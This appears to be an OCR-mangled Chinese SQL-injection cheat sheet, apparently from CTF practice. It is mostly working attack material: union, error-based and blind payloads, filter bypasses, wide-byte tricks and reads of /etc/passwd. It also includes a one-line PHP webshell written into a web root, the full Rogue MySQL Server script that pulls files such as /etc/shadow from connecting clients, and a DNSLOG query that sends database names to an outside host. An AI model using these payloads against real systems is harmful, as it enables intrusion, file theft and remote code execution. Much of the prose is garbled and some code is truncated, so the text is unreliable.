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BB EZE T RAEERSA:

union select group_concat(table_name) from information_schema.tables where table_schema=database()%23

" union s -oup name) from informatio

o I F

BT RETBA:

union select group_concat(column_name) from information_schema.columns where table_name='tablel'%23
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' union select flag from tablel%23
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1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from inf
2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(®x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e, (select user()),0x7e),1));
4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));
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#l: parameter=" or ascii(substr((select database()) ,1,1))<115—+

Orderby E i



order by rand(True)florder by rand(False)i1 45 £ HEF & A F K], B DMARIE X AN E R AT B :

ct balabala from tablel where 1=1 order by rand(True);:

(7K

order by rand(database()='pdotest')

RE T TrueliHEF, i #database()="pdotest & IE# 1I{&

HERLSHTE, AEFESQIEABERRALSERIRE, FIIXARHZERER RAME RS RETIE
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1.sleep(x)

id=" or sleep(3)%23

id=" or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
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2.benchmark()
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id=" or benchmark(10000000,sha(1))%23

id=" or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
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select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from tablel where '1'='2"' or if(ascii(substr(database(),1,1))>0,(select count(*) from infor
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4.get_lock
BT B —ME R EE, FEM A session, 7L —{ sessionH N

select get lock('test',1)

SRJE B — P sessionF AT E ) :

select get lock('test',5)
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5.rlike+rpad

rpad(1,3,’a’ )& 8 Fati 78 3 — AL 745 5 LA B8 — ALK
Z A PR mysql5.7 5 K o 4 B B rpad()3E 7834952547, 1M £ /M rpad() BT BAIE 7844~34952541,
Bl AT -

select * from tablel where 1=1 and if(mid(user(),1,1)="r',concat(rpad(1,349525,"'a"'),rpad(1,349525,'a"),rpad

DA EFS RAMMAK R RIEAKE, EH0.3%, &/5Kasdasdasd i [ EH E R, 7LAKEKE
DA KR SE
BRAMKERBRD:

select * from tablel where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,"'a"'),rpad(1,349525,"'a"),rpad
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select * from tablel where 1=1 and if(mid(user(),1,1)="r',concat(rpad(1,349525,"a"'),rpad(1,349525,"'a"),rpad

5.HTTPkEA

F T 7EcookieSreferer FAE SR K137 5, B H fEBEE baseb4 N # BmdSEF M EH Y, AT RE LRME,
6.HTTP4HITEAN

MRFE—NEFG R, SH Ausername&password

2 #)E A) Nselect xxx from xxx where username="xxx’ and password="xxx

{HRusernameS it € TERRF, LEEEHAERER, W) Z2RAH A BEEEpasswordi B, Bl —%H
EA) R RS AR EA]:

BlansEIe AN T R IRAREN -

Bt MR ) ARBE/I AT W FIT KA ) rRmysEL 'Y W YIUIT e yUuLaLe S YETA &F HiIE §gF VIS EWD e

{center><hl>Please login!</h1><{/center><br><{center>tips:post username and password...</center>

{I—— $sql="select * from users where username="$username’ and password='$password’”; —>
L} 1 3
POST Swebd baccuc Index.php HTTR/ " HTTR/.1 200 0K "
Host: ctfE.shiyanbar.com P Date: 5un, 14 Jan 2018 14:08:34 GMT P
User—Agent: Mozlla/5.0 [Windows NT 10.0; WiNG4; x64; res57.0) Server: Apache/2.4.18 [Win32) OpensSsLA1.0.2e PHP/5.2.17
Gecko/ 20100101 Firefor/57.0 HK-Powered-By: PHP/5.2.17
Accept: text/ htmlapplication/ xhtml+xmlapplication/xmig=0.8"/"q=0.8 Content=Length: 43
ACCept — Languagse: Kesp—Ale: timesut=5, max=100
zh—CM,zhiq=0.8,zh=TW:qQ=0.7.2zh—HK:q=0.5,en-USq=0.3,enq=0.2 Connectlon: Keep-Alive
Accaept-Encoding: gzip, deflate Content—Typa: taxt html
Referer: httpy/ ctfs.shiyanbar.com/web/ baocuo/ Index. php
Content—Type: application’ x—www—Fform-urlencoded “hrEXPATH syntax error: ‘~error_based_hpe-|
Content=Length: B6

Cookle:
HM_Ivt_3406F73530b091504C5 82045 160FFbC3=1515643190,1515644790,15156698
13,1515833251;

Him _cv 3406F73530b091504c5 8284516 4FFbea=1"viskor 1 285592 2CnIkck Name?s
BAYEGHABHM B EA% BA AT EAY BEYAC; gid=g TE65IZFmMEIgAetDX;
= UMKIhJBNGIRWHNFgH: I
HM_Ipt_ 3406 T7353ab08 150405 82e45 160 Tho3=1515933311;
PHPSESSID=0ec0msihpllueb23qoenskiobFs

Connection: keep—alle

Lipgrade—Insecure—Reqguests: 1

Cache=Control: max—age=0

Lusername=1" or extractvalue’ &passwerd=1"/1.concat(0x7e, (select
catabasel)) oxTellor’

[« ¥
[a¥

@ [LJ B [ij Type a search ferm 0 matches [ﬂ [ZJ [LJ [LJ Type a search term 0 matches

Done 2583 bytes | 1,066 millis

< | 1 | »

(R¥R: https://www.cnblogs.convs1ye/p/8284806.html)

XEERLE AT 10T BIE A K password S $ B R -

select * from users where username='1l' or extractvalue/*'and password='1*/(1,concat(@x7e, (select database()


https://p0.ssl.qhimg.com/dm/1024_104_/t012f242a6b29cf0131.png
https://p1.ssl.qhimg.com/t013a39d4247334604f.png
https://www.cnblogs.com/s1ye/p/8284806.html%25EF%25BC%2589

HRXMEANARZRG] SEA RS . MREEAKRZHE, HELMARESHAK T Xm.

POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1
B

select * from users where username='1"' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and passwor

EH—M T RGYCTFHH —iEsqiENRE, BEBIEAREX:

i 3E T 2 #, union, #,—+,/*A\or,|
XA BT 2R lor “1°="1"J7 ReAH L B 7 BORIE N AN K AT g
Al DA% fE ks passwordfE 4 R B 2 BUR & E )

username=admin'and(strcmp(&password=, 'asdasdasdasdasdasd'))and’'1
XPEE R

select username from users where username='admin'and(strcmp('and password=', 'asdasdasdasdasdasd'))and'l’

stremptt#, —HA—BUREITrue, —BR[EIFalse, MMySQLE K 1Al %71, BliTrue, FEHZEHIESR
SR ATrue

T._IREAN

“IREABR B WG )% R payload B S S HIR S A A AEE SR R, 7R 2 5 B e R AR AT SQLIE Ry B
Bem = A M SQLIEN ]

R B FAEM A FISQLIEAE A AT LIEANRIH T, FKusernamefis F7Esession, TESE F 2 & W H B #E
RIEELIE, F:

select * from users where username="$_SESSION[‘'username’]
VU BRAVTAE ¥ A D B 8 AT KRV E N VB R B N\ Bllsessiond, 7R B 3¢5 F 2 B % U S 34T SQLIEA] :

Wusername=admin’#, & FEEHEMAN:

select * from users where username='admin' #'

MR T SQLIEAN
8.SQLZA R B &
B anvE M B usernameS B E mysqlH A7 R 8 K8, 3 HAuniquedtE, &E T KE NVARCHAR(20).

M FRATTIEM —Ausername Nadmin[20)N F#&JasdI P 4, MIEmMysqlh EASHIREFER, HLELR, N
SEHAT 20 ZRE I BIBIE FE b, BT CASHE R AR 6 B 2088 vadmin[20N = 4%, Tk AT B R AIEE, SQLIEA)
SR ER, HERIMIHESTES Tadminks.
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SelECt * from table;

2 E g

P TR 25 1k B 4 B M 1 B SRR e

preg_replace(‘/select/’,” input)

W] F seselectlect from xxx k48, Mk —1-select/5F T #95t Zselect from xxx
3. AR

[RU O RBERE, WREIEA ST

A Hamysql5. 79038 T .

AT LA SR Gt — BEWAF, SR S 2
(B, TR X@AMARERATE, Pl T aEaRRT AT (R R AT R B AR AT ) -

select bbb from tablel where balabala='' union se/*!lect database()*/;

4.1% P 163 H1 S8 1L 45 52 7 FF
WRAEE M T BA KRR A BT U8, SUR MR B h Ry e AT Bt v, W) 163 Seid -

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273 Kusersf] 163

5% 7. Latin1BR i\ %%

TEWEAN

AT HR5 58 X, BEHRENgbk&miSHKIERL T, ARRFFEREERFLEH, WER—IMRRRFR:

username = %df'#

Zgbk RIS 5L A

select * from users where username ='Ji&'#
BIYIAE T 855,
Latin14& g

MysqlZR F1gmtD BN mlatin1, R & B Z/RFE U8, NFE—Klatinl A Mutf8F ¥E KIFRF, MMysqlZu
fA] RbFRIX e R WE 2 2 R

F2RATTT LLH A 2username=admin%c2, fEfEZEFEF A AR T admin
T I %c28] LA Y%c2-%ef 2 18] KT & 7215



6.5 TR UK REK AT

Br AR

4 B MySQLIENET5

REFH B REFHF ARE K . F A=k
false. !pi() 0 ceil(pi()*pi()) A ceil((pi()+pi())*pi()) K
true. 1(1pi()) 1 ceil(pi()*pi())+true B ceil(ceil(pi())*version()) L
true+true 2 ceil(pi()+pi()+version()) c ceil(pi()*ceil(pi()+pi())) M
floor(pi())s ~~pi() 3 floor(pi()*pi()+pi()) D ceil((pi()+ceil(pi()))*pi()) N
ceil(pi()) 4 ceil(pi()*pi()+pi()) E ceil(pi())*ceil(version()) 0
floor(version()) /3% B AR A 5 ceil(pi()*pi()+version()) F floor(pi()*(version()+pi())) P
ceil(version()) 6  floor(pi()*version()) G floor(version()*version()) Q
ceil(pi()+pi()) 7 ceil(pi()*version()) H ceil(version()*version()) R
floor(version()+pi()) 8 ceil(pi()*version())+true | ceil(pi()pi()pi()-pi()) S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) J floor(pi()pi()floor(pi())) T

HApl(Ipi)REBE 1A BA BT, EAFEREH
HERERFHENR

and -> &&

or -> ||

ZHe-> /**/ -> %a0 -> %0a -> +

# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in

VE: regexp NIEMIILE, FIFIENSHSHBEANTF R
W R B B AR
FRFREIUP R
# B https://xz.aliyun.com/t/7169

B3 L]

SUBSTR(str,N_start,N_length) = XF#8 & FFF B #EATEEL, ISUBSTRINGH) i BLAR o

Z F#% R SUBSTRING (str,pos)~ SUBSTRING (str FROM pos). SUBSTRING (str,pos,len) -

SUBSTRING()

SUBSTRING (str FROM pos FOR len).
RIGHT (str,len) X8 8 FAF B NI A I AR EER S K .
LEFT(str,len) KR 8 A B IR A A R B K .

1E str HHHNST len MM FRF 8 padstr, REFIFRFE. WR str KEKRKT len, NWREMERKERKRYE

RPAD(str,len,padstr) B Len FFHE S MK B

LPAD(str,len,padstr) S5RPADMIML, fEstrZififhst.
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B

MID(str,pos,len)
INSERT (str,pos,len,newstr)

CONCAT(str1,str2...)

GROUP_CONCATY...)

MAKE_SET (bits,str1,str2,...)

BB AEA)

LENGTH(str)

PI0)

REGEXP “statement”
LIKE “statement”

RLIKE “statement”
LOCATE(substr,str,[pos])
POSITION(substr IN str)
LOWER(str)
UPPER(str)
ELT(N,str1,str2,str3,...)
NULLIF (expr1,expr2)
CHARSET (str)

DECODE(crypt_str,pass_str)

782 5%

ﬁHjOinﬁﬁg

-1 union select 1,2,3

P B
[HF SUBSTRING (str, pos, len) .

ERIBFRE str 1, BEHERSE pos MIFME, KEN len M ERFHZHFBEBEHNFTFRKE newstr, R
JEIR Bl 25T & ¥ 5 M/ H . INSERT (str, len, 1, 0x0) A 24 AR B R 31 .

RBATRENFRBEEH DTS
BRE-ANFRELER, ZERMPAPREERASTR.

RIESH, REFWMASMYSEE. TRERREE,
I0: EXP(MAKE SET ( (LENGTH (DATABASE())>8)+1,'1','710")).,

VA

1R [ R R K

18 Bl i B AR B E .

IEMUCACEIR, & EME A6 /R

ILHCHHE, %RFEEBAR. REME A RE.
Sregexpt .

1R B T4 B A — IR B AL L

% FF LOCATE ()
BEFROREFREMERNS. F: LCASE (str).
BEFRNNEGFREMERKRS. F: UCASE (str).
B5MAKE SET (bit, strl,str2...) %ML, RENEESHIE.
Fexpr1 Sexpr2tfi[F, Wik Eexpr1, MR EINULL.
1 [B] 2 7% R 4 P B 2 A R

i pass_str fENERS, fREINE 7R crypt_stro MIZHEE: ENCODE (str,pass str).

-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit:
limit 2,1
limit 1 offset 2

substr:
substr(database(),5,1)

substr(database() from 5 for 1) fromAy 28 JLAN R4, for AEREULA

substr(database() from 5)

i Rforti g v 1

mid(REVERSE(mid(database()from(-5)))from(-1)) reverses Jx #, midflsubstr &



if:

if(database()="xxX,sleep(3),1)

id=1 and databse()="xxxX and sleep(3)

select case when database()="xxx then sleep(5) else 0 end

8.limit#k it 38

select user from users limit 1

InPR ) 244, -

select user from users group by user_id having user _id = 1 (user_id= % # ) —>column)
9.information_schema#k id 3§

innodb 3| #7] Fimysql.innodb_table_stats. innodb_index_stats, HEKH SR, KIS BiCFIXH AR

bz 4h, ZRZiFsys.schema_table statistics_with buffer. sys.schema_auto_increment_columnsf Fit F &
WHER, FEER TR information_schema

10.and or && |k it 3
A] B E ! A ~LL Fznot xorsk &
it .

K ANA=R
HBAE-B
HA(N(AMR)) =R
FE—RIIHE
eg: select bbb from table1 where ‘29°="29'/f(ascii(substr(database(),1,1))>0,sleep(3),0)M;

HMsleep(3), fBNITGHS i

=, BERENST

1524 BT BARAEA

join¥E \ 78 351 4 -

St BEE GRIERT FRUEESFHEEE, WRERERILT 77T g %)
A4

select * from(select * from tablel a join (select * from tablel)b)c
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select * from(select * from tablel a join (select * from tablel)b using(balabala))c

# from tablel)b using

BTN

select * from(select * from tablel a join (select * from tablel)b using(balabala,eihey))c

DABLIRHE......
KRR M A KRS, ZIEH T LR T AW &

ZAlFselect xxx from xxx where ‘1’="1" and i&f)="a’

clect * from tablel where (select * from(select * from tablel a join (s t % from tablel)b using(balabala, ei

) : Duplicate column name ’flag’

4 10 3

joinFl F ) 2 BEHEHEA

ERRBI L TERBE, HELATEMEI LA RRNFERAE:

KH 74 union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3

%15 H) B (select 1,2,3,4 union select * from users) & # K145 B A1EAED, RJEMNEDHIFE1/2/3/4%) & #) 45 R
B4R, 1,2,3 4% H ERAER KI5 4 K% B R E .«

select * from tablel where '1l'="' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from t

selectid yi§ — M R A AR IEANRER TA T LAGRIE, B TR 5 7 Eselect] LA H# H password= # flag
BEAT 2 5

EHBIEANZRE, REMANTEERA:
1.9 % 7 -
Bekl, TgmPERR T B SQLIE A BAANE AT AE R AT SQLIEANER], ATERTIS:

id=1';Set @x=0x31;Prepare a from “select balabala from tablel where 1=?;Execute a using @x;

B

set @x=0x73656c6563742062616c6162616c61206672616d207461626c653120776865726520313d31;prepare a from @x;execu
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T — K 8 163 R select balabala from table1 where 1=11 163 #l % R

2.HandlerZ #1

Handler&Mysqlf# A MR BRI WIER, FFRHNIAESQLIREES, FTLASQL Server& & ¥ Handler& # 1 .
Handler? #] it F

handler table1 open as fuck;//3T FF £

handler fuck read first;//i&L i A FBE —%

handler fuck read next;//i&Fi A B T —%

handler fuck close;//>% ]

3.PHPIE U [H # BUG

PHP RSB 1R IE N RE X HIDDos, #pcre & T BIFRE LR, BRIAA10075K, BidixA ERMKRILASE, M
H¥#iR[FIFalse.

5 40 77 7E preg_match(“/union.+?select/ig”,input) K JE IE N, T FRATAT LLE I #i

union/*100 i~ 1*/select

IEIEZ v
4.PDO37 5 T HISQLEA
PDOREEH FHI=IikE:

PDO: :ATTR_EMULATE_PREPARES
PDO: : ATTR_ERRMODE

PDO: :MYSQL_ATTR_MULTI_STATEMENTS

B—BUNE G %, R NAFalse, MAFESQLEN; MR ATrue, MPDOFAERIER G ¥, TRKHA
G—HARTFRE, FFRSURBRFR . XRS5 R gbk g i W 22 7E 38 7 T VEN

BWONIREE, WMARBATrue, WRESME —LER.

BETOAZAPAT, IR ATrue, HE T ATrue, NESFERFH+HERIENKNE K.
HHEBEERN A —RXE:

M BE 5NN IR PDOF J5 3270 1E #4 3 F

5.LimitiE A (5.7THRAE & EER)

& FF5.0.0-5.6.6/k 4

WRIFE—KIBRA


https://anylike.top/article?id=14

select bbb from tablel limit 0,1

JaHER 24, WA 7E )5 HEunion select:

select bbb from tablel limit @,1 union select database();

MREREEMA T order by:

select bbb from tablel order by balabala limit 0,1

» WA EREA:

select bbb from tablel order by balabala limit 0,1 PROCEDURE analyse(1,1)

HAp 1A oA B ERER
6AF BRI E T
(1) AE#HII 5 mysql error
H5EBRA/REEAR, XEREERSEEHATRIIFmysql error, itk R GEE I AT e Rk FIEARSEI,
B F B T R B A R O
BRI H: cot(0), pow(999999,999999), exp(710)

JUfE#$: polygon(ans), linestring(ans)

BRI 6T DL 8 T T B AR R E 1R ) -
parameter=1 and i&#] or cot(0)

HEAAE, MREIEML R ZEEEKcot(0); AR, WHAT)E HKIcot(0)HRk e

Io Bl B B -

select * from tablel where 1=1 and if(mid(user(),1,1)="r',benchmark(10000000,shal(1)),1) and cot(0);
B
select * from tablel where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,"'a"'),rpad(1,349525,"'a"'),rpad

Hrpad+rlike A K& benchmark i 8] B 3% 7] LA Zh, {E2&sleep()AAT LA, AXRIEHEEHA .
(2) mysql errorff] & #& T %E B 5 A ZE i)
EANERXE B, MEAEEALEENERAX, —EEmysql error

ERBREARAIHM. ... MFEAweb T EEM A XK R, insertiE NMER R RIFHEA20%5HE, FrUAR{AY
Emysql errorsRiA BIFE A A LR K& T EER B 8. 5 IR G Writeup+ A #ik


https://anylike.top/article?id=15

BB AR T E U AR, B EErpad+rlikeIE A B, FAX4EsleeplliREBIETER, BREAKE
WK rpad+rlikeE oL, XANFTIEBR:

fi or if(i& A, rpadE AT iEA)="a’,1) and cot(0)
XK, TWiBRRAERMR, #HmEHITcot(0), LA
WREFRE, WIER, wWREAAR, WAL, XMEENEST HR

payload:

select * from tablel where 1=0 or if(mid(user(),1,1)='s"', 'a'=benchmark(1000000,shal(1)),1) and cot(9);
B
select * from tablel where 1=0 or if(mid(user(),1,1)='s"','a'=concat(rpad(1,349525, " 'a'),rpad(1,349525,'a"'),r

LaR, R AR B F sleep() i 75 st R T DAY
kB cot(0)2Rk4E, Blcot(False)=#4h, BTLL R E ik P&k NFalselll i & AT
I B FA1 5038 sleep(x) i 3& [ 15 4 0:

XEEBIRE T, if(iE4],sleep(3),0), XHFEAANE NEIEL AR IE[FEIFalse
LA i 15 A

select * from tablel where '1'='1" and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));

(3) FAHRHM
RERMABEFRS, BEIMEFTEXRFNRSL, XEAHTZHKR.

XS
1.3 5 B

FERATMYSQLI R S #E 2 AT ESEBE R TMANR, mysqlSCHURFF K T mysql& Kifile_privaE B, S RA
FlfUser, MRATCAERS, WEHEELFIAY, KZAN:

AT A user(VEE ST A4, WERNMAPRARERR, WETE, RZUBFFIZ R BRI

BRTESERAPNR, &F M 5ERE, Esecure-file-priv. ER—NRLERE, HTHREEEThEE, &
KIMEE =Fh:
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select load file(file_path);
load data infile "/etc/passwd" into table FEEFFFEMIRA FIELDS TERMINATED BY 'n'; #iEUARS¥SCMH
load data local infile "/etc/passwd" into table FEEFF7EIR4 FIELDS TERMINATED BY 'n'; #iREUE Py (i

FEIEMIOR, file_path U FNMx BE, BRAVLHESR L.

3.mysqlfE B 30 R U
Wik R B e

exp:

#A:

Tfilelist FERRKXHFR, FEATRE, ZRATE—/NEEmMysqlikS 5, HATexp & ZEmysql
AR HXT R O, 7E B bR 5% 8% 8 3 % B mysql iR 5 i

#!/usr/bin/env python
#coding: utf8

import socket

import asyncore

import asynchat

import struct

import random

import logging

import logging.handlers

PORT = 3306

log = logging.getlLogger(__name__)

log.setLevel(logging.DEBUG)

tmp_format = logging.handlers.WatchedFileHandler('mysql.log', ‘'ab')

+mn Lanmat catCanmattanl/lanaina Canmattanl/"Y /M acrtrimalec Y/ TAavuAalnamalec Y/ mAacecanae"\ )
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https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

LIIP_ 1V IIAL DT LIV ALLET (LUBELIIE.TUIIIALLEL || /0\AaDLLLIIT D ./0\ LEVELIIANT D> ./0\INIC>d>agc > ) )

log.addHandler(

tmp_format
)
filelist = (
# r'c:boot.ini’,
r'c:windowswin.ini',
# r'c:windowssystem32driversetchosts"’,
# '/etc/passwd’,
# '/etc/shadow’,
)
#=============
#=======No need to change after this lines=======
S

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')

return

if os.fork(): os._exit(®@)
os.setsid()
if os.fork(): os._exit(@)
0s.umask(00022)
null=os.open('/dev/null’', os.0_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb")
packet_header_long = struct.Struct('<Hbbb")
def __init__ (self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__ (self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & OxFFFF, payload_len >> 16, @, self.packe



result = "{0}{1}".format(
header,
self.payload

)

return result

def __repr__(self):
return repr(str(self))

@staticmethod

def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1l:]

return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

def __init_ (self, addr):
asynchat.async_chat. init_ (self, sock=addr[@])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth’
self.logined = False
self.push(
mysql_packet(
o,
"".join((
'x0a', # Protocol

'3.0.0-Evil Mysql_Server' + , # Version
#'5.1.66-0+squeezel’ + "',

'X36x00x00x00', # Thread ID

'evilsalt' + '', # Salt

'xdfxf7', # Capabilities

'x08', # Collation

'x02x00"', # Server Status

"' * 13, # Unknown

'evil2222' + '',

))

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []



if self.state == 'LEN':

len_bytes = ord(data[@]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1

if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data’

else:
self.state = 'MoreLength’

elif self.state == 'MoreLength’:

if dataf[e] != '':
self.push(None)
self.close_when_done()

else:
self.state = 'Data’

elif self.state == 'Data':

packet = mysql packet.parse(data)

try:
if self.order != packet.packet_num:

raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num ==
if packet.payload[@] == 'x@3":
log.info('Query")

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'XFB{0}"'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[@] == 'x1b':
log.info('SelectDB")
self.push(mysql_packet(
packet,
' xfex00x00x02x00"
))
raise LastPacket()
elif packet.payload[@] in 'x@2':
self.push(mysql_packet(
packet, 'x@2'
))
raise LastPacket()
elif packet.payload == 'x00x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, 'x02")



)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, 'x@2'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()

class mysql_listener(asyncore.dispatcher):
def __init_ (self, sock=None):
asyncore.dispatcher.__init_ (self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('"', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)

z = mysql_listener()

daemonize()
asyncore.loop()

4.5 31



select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php’;
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php"';

Ysecure_file_priviE ANULLRE, & FA4 R H &K 750

set global general_log file = '/var/www/html/1.php’;
set global general_log = on;

H&EER T general_logit B Hthr £ HE, KR BEFLBHNEADSHBUR, AREHEBEANNFMAT
FRAZITE, B AR .

5.DNSLOG (OOBA)D

= F P U5 R DNSHR S 4%, NW&7EDNSHEHE Fidxk. WRERFHASQLEMKMGEE, N{E R IHH H
DNSig .

A 2 A

1.secure_file_privh 7 BE SCH B R
2.H#rRwindows (FIH TUNC, LinuxAar47)
3.7 18] & B FVER A B v

R T5 -

A AR — M43 KIDNSlog: http://dnslog.cn/
BN IR — AN T8R4, AT

select load_file(concat('\\', (select database()),'. T4 . .dnslog.cn"'));

2 T15 1 T select database(). 714 .dnslog.cn, T 2% FDNSLOGiEXx, A MNIXE{EFFEFSQLERMEIHK
B8.
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